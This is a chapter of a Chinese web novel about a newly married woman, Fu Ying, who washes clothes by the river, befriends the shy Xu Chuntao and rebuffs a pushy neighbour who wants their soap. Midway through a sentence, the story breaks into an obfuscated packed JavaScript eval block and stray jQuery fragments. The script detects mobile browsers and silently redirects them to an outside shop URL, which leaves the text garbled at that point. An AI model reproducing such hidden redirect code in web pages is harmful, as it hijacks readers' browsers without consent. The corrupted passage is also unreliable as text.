16. 第一年夏(16)
    午后,日光正盛。

    沈清衍询问她是否今日就去拜访吴阿婆,傅媖想了想,决定还是改日。

    虽说她有自知之明,知道单凭自己很难打动吴阿婆,求得她的指点。可即使这样,她也不想什么都不做,全倚仗沈清衍。最起码,她想自己做些东西带给阿婆尝尝,看看能不能投其所好。

    毕竟听沈清衍的说辞,她猜测吴阿婆应当是真心喜爱自己这门手艺的,若非如此,也不会撤了面摊却还愿意每日在家做上两锅面,等老主顾来吃。

    或许,做阳春面早已不仅仅是她的生计,也成了她生活的一部分。

    沈清衍听她说改日,倒没有多问,只说何时想去知会他一声即可。

    家里的水缸快要见底,傅媖准备去打几桶水回来,趁着日头好先把早晨换下来的那身衣裳洗了,赶紧晾晒起来。

    再有个把月,梅雨季就要来了,估计这段时日雨天就会渐渐频繁起来,说不准什么时候一片云彩飘过来,就能带起一阵雨。

    谁知她拎着水筲出门,却恰好被沈清蘅瞧见,然后被她告知无需去打水。

    傅媖一头雾水,可沈清蘅匆匆撂下这一句,转身就跑回了屋。

    等再出来时,她怀里抱着个木盆,盆里放着几件需要换洗的衣衫。

    “嫂嫂学我这样,端个盆,然后再拎只桶去就行了。咱们这儿靠着河,哪用得着去井里打水。”

    他们这儿不缺水,整个响水镇上的水井已算得上是很多的了,听那些年长的阿公阿婆说拢共得有二三十口,但平日里镇上的百姓依旧是习惯每逢做饭烧水才用井水,若只是浆洗衣服、洒扫、浇花浇菜,都是用河里的水。

    只因浍水两条支流玉溪河与明月河穿镇而过,镇子上的人便利用河流修建起了数百处水圳,引河水为渠,于是几乎家家户户门前都有一条水圳流经,浆洗、打水取用河水都极为方便。

    更别说沈家的院子就倚在玉溪河边。

    两个人走出巷子口就见河边早已聚了几个同样来浆洗衣服的娘子,还有个阿公正挑了两筲水准备回家。

    那几个聚在一起的娘子大都梳着妇人发髻,瞧着似乎都是老相熟了,正抡着手里的棒槌凑在一处说说笑笑,不知正聊些什么,很是热闹。

    傅媖无意凑热闹,打算叫上沈清蘅走远些,找个清静的地方。

    可余光一扫,竟瞥见那一簇人旁边某个不起眼的角落里有个熟悉的身影。

    朝沈清蘅示意了下,傅媖果断迈着步子往那边走去。

    沈清蘅一愣,虽然不解,但还是乖乖跟上。

    傅媖在离那人约一臂距离处蹲下,先从河里打了桶水倒进她与沈清蘅面前的木盆里。

    然后边伸出两只手把衣裳浸在里头充分打湿,边自然而然地笑着同她搭话:“陈家娘子,好巧啊,你也来洗衣裳。今早那几个饭包可曾尝过,味道如何?要是觉得还能下口,等会儿豆儿汤做好,我再盛些送去给你尝尝。”

    那人不是别人,正是她今早才见过的那个书商陈会的娘子。

    沈清蘅原本正闷头摆弄自己手上的那件中单,闻言好奇地抬起头,向傅媖左手边看过去,却只瞧见一个乌黑的发尖。

    傅媖说完,陈家娘子抡棒槌的手一顿,匆匆瞧她一眼,确认了她的身份,然后忙推拒起来,声音细若蚊呢:“不,不用了……多谢……”

    她一直低着头,瞧不出脸上的表情,裸露在外的那小截白嫩的耳垂却渐渐泛起红。

    可傅媖就好似看不出她的羞涩与拘谨一般,又道:“不打紧,就那一把绿豆,也不值几个钱。我昨日才嫁到镇上来,跟镇上的娘子们都还不熟络。可巧今早一见你就觉得面善,想同你亲近呢。”

    她这话说得未免太过直白,甚至叫陈家娘子听来觉得有些露骨,耳根越发红了。

    她忍不住侧了侧眼,偷偷去看她,却见傅媖始终没抬头瞧自己。

    这才心头稍安,只是仍旧闷不吭声。

    傅媖也不恼,自顾自地继续说道:“说来还不知道娘子你该如何称呼呢。我叫傅媖,娘子可以直接这般喊我,也可以唤我媖娘,都好。”

    到这时,一直在旁边静静听音的沈清蘅终于觉出不对。即便嫂嫂不是个冷淡的性子,可也不该对一个生人如此热情才对。

    更何况这小娘子从始至终都是这般爱搭不理的模样,嫂嫂还一直同她搭话,岂不是热脸贴冷屁股?

    想了想,她低声凑到傅媖耳边去问。

    却听她同样压低了声音回:“莫急,回去我再同你说。”

    恰在这时,那陈家娘子突然小声道:“我……我叫春桃,许春桃。”

    傅媖一怔,转过头来,发自真心地赞道:“真是个好名字。”

    与她人极像,色若春桃,娇美丰盈。

    许春桃大约不知道,她实际生了副十分不错的样貌。

    肤色莹润,面容饱满,双颊带粉,瞧着就像一颗熟透了的石榴果,娇嫩欲滴。

    只是她受惯了陈会的责辱呵骂,那番愁苦都刻在脸上,难免使容色黯淡不少。

    似乎是从未被人如此直白地夸赞过,许春桃错愕地抬眼,目光疏疏从傅媖脸上略过,却也不敢与她对视,转瞬又低下头去。

    不再说话。

    傅媖心知与许春桃这样性格的人接近不可操之过急,今日问得了她的名字,便已是有所收获。

    也不再刻意同她搭话,安静地捶打起木盆里的那件衣裙。

    过了好一会儿,却忽地瞥见沈清蘅掏出样黑乎乎的东西,拿它对着衣衫擦拭。

    傅媖好奇地凑上前瞧了片刻,然后恍然。

    “这是胰子?”

    沈清蘅点点头,瞥一眼右手边那群还在嘻嘻哈哈的妇人们,小声道:“嫂嫂别声张,这东西买来可不便宜,叫人知道了肯定会来借。”

    她手上这小小一块就要二十文钱,且一家人用,最多只能撑上一两月。

    寻常人家哪舍得费这个钱,不过是用些灶下烧过的草木灰或者皂荚罢了。

    只是那些东西清洗的效果终究比胰子要差些。而她家从前在东京养成了习惯,要讲究些,兄长更是尤其爱洁,便一直用下来了。

    傅媖了然,顺着她的目光往那边看了会儿,果然发现那些妇人身侧大都放着个陶罐,偶尔伸进手去抹出来一点,擦在衣裳上,有的是草木灰,有的瞧着像是皂荚。

    衣裳彻底泡开后,傅媖简单揉搓了两下,便将那块胰子从沈清蘅脚边拿起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14215280|148503||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来,准备抹上一些。

    谁知偏偏怕什么来什么,离她们最近的那个妇人无意间一眼撇见,欣喜道:“哎呦小娘子,你手上有胰子哎!能借俺使使不?”

    不知她是有意还是无意,这一声大了些,音调又高,顿时好似突然往河滩上丢进的石子,惊起一片水波。

    她身后那些原本头碰头凑在一起聊得起兴的妇人都散开了,倾身往这边看过来。

    傅媖对着她那张笑脸,几不可察地皱了皱眉。

    若借她,这儿足足六七个人,势必每个都要借一遍。若不借,她与这些人都不相熟,总不好一开始就得罪人。

    许是瞧她脸色算不上好看,那妇人脸上的笑褪去,说:“俺就是借来使使,又少不了你的,娘子何必这般小气?”

    这话可算不上好听。

    沈清蘅气盛,当即皱起眉就要呛声,被傅媖一把扯住衣袖,不甘地将话咽了回去。

    傅媖正要扯个像样的由头糊弄过去,谁知旁边蓦地传来一道极细弱的声音。

    若不是此刻众人都安静下来,等傅媖回答,根本不会被人察觉。

    “那……那胰子是我借给这两位娘子的。”

    这妇人是隔壁巷子的李寡妇,是镇上出了名的蛮横泼辣,旁人与她打交道,都很是小心,免得被她不依不饶地缠上,叫人头疼。

    傅媖与沈清蘅不知道这些,许春桃却是知道的。

    所有人皆是一愣,朝傅媖身后望去。

    高大的垂柳边,许春桃低着头,隔着几个人,傅媖与沈清蘅遮住了她半边身形。

    她没往这边看一眼,却再次开了口,只是这次声音更小,还微微发着颤:“我,我夫君说了,不许,不许……借给旁人。”

    她话音一落,那李家娘子却好似越发恼火,不依不饶地扬声诘问道:“既都说了不许借给旁人,那怎的又借给她们了?她们都借的,我便借不得了么?”

    许春桃被她这般气势吓得一哆嗦,缩了缩身子,头低得更深,好似要将自己埋进土里,下唇咬得发白,彻底说不出话来。

    她承了这位傅娘子的情,想帮帮她,可方才这两句话就已用尽了她的胆量。

    傅媖看出她的害怕,微微侧身,将她整个人挡在身后,盯着那李家娘子的眼神不避不让地回看过去:“我夫君是教书先生,这胰子是拿书与他家换的,你要借,敢问愿意拿什么来换?”

    这时,旁边有人扯了扯那李家娘子的衣袖,低声告知她傅媖和沈清蘅的身份。

    她顿时被噎得说不出话来,一张脸瞬间沉下来,青了又白。

    自觉面子上过不去,她“嘭”地一摔手里的棒槌,溅出一地水花。

    然后愤愤地站起身,抱起木盆转身就朝巷子里走,边走边嚷:“切,不就是块胰子么,不借就不借,有啥可了不起的,还真当宝贝了!”

    等她走远,傅媖微一垂眸,恰好对上沈清蘅的目光。

    小娘子出了口气,正抿着嘴偷偷憋笑,见她看过来,“噗嗤”一下笑出了声。

    傅媖见状,唇边浮起一缕淡笑,无奈地打趣她:“你这促黠鬼!”

    她们身后,许春桃不知何时抬起眼,怔怔地望着二人的背影,眼底流露出羡慕的光彩。